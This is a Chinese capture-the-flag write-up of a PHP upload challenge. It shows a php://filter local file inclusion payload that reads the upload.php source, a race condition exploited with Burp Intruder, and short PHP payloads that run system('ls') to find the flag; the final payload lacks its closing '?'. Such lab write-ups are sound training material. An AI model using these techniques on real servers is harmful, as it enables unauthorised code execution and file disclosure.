通过访问页面,得到上传点。
查看源代码,得到存在include.php页面。
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>upload_it</title>
<h1>随便传!</h1>
<hr>
</head>
<form id="upload-form" action="upload.php" method="post" enctype="multipart/form-data" >
<input type="file" id="upload" name="file" /> <br />
<input type="submit" value="Upload" />
</form>
<!-- include.php -->
</html>
这里我上传了各类文件,发现都跳转到upload.php 页面,其显示文件上传类型格式不正确,即将删除,删除成功。
查看网页源代码后,只显示了前端文字,无其他内容。故此想到了此类型上传文件为后端验证。借此可以利用文件包含漏洞来显示upload.php后端验证代码。
访问include.php页面,
有include()函数,并且有post请求参数'ncut'。burpsuite拦截抓包,利用php://filter/ 协议来读取文件内容。
抓到的包为get请求,
需要转换为post请求,并发送给Repeater,得到其后端验证base64编码。
ncut=php://filter/read=convert.base64-encode/resource=upload.php
解码得
<?php
//关闭错误报告
error_reporting(0);
$allowtype = array("");
$size = 10000000;
//定义文件上传路径,文件将被上传到服务器的 ./upload/ 目录下。
$path = "./upload/";
$filename = $_FILES['file']['name'];
//使用 is_uploaded_file() 函数检查文件是否已成功上传到临时目录
if (is_uploaded_file($_FILES['file']['tmp_name'])){
if (!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
exit();
}
else
{
if (strpos(file_get_contents($_FILES['file']['tmp_name']),'<?php')!=false){
die("监测到非法内容`<?php`!");
}
}
} else {
exit();
}
$newfile = $path.$filename;
if ($_FILES['file']['error'] > 0){
unlink($newfile);
exit();
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if (!in_array($ext,$allowtype)){
echo "文件格式不符合要求,即将删除!\n";
unlink($newfile);
echo "删除成功!\n";
exit();
}
?>
总体意思为先保存文件,然后检查是否含有<?php内容,最后删除。这里就用到了条件竞争,利用保存到删除的时间差,去访问我们上传的文件,从而导致代码执行。这里运用bp intruder 模块,不断上传,和利用文件包含访问上传的文件。
这里我上传的是2.php,且内容为<?php phpinfo();?>
这里设置payload type 为 Null payloads Generate设置9999,小一点也行。
另一个也同样设置。 这里注意的是必须为post请求。
开始爆破。看到返回长度不同,说明代码被成功解析。
故此修改上传文件代码,发现无可用信息。
<?php system('ls');?>
故cd到根目录下发现flag。
<?php system('cd /&&ls')>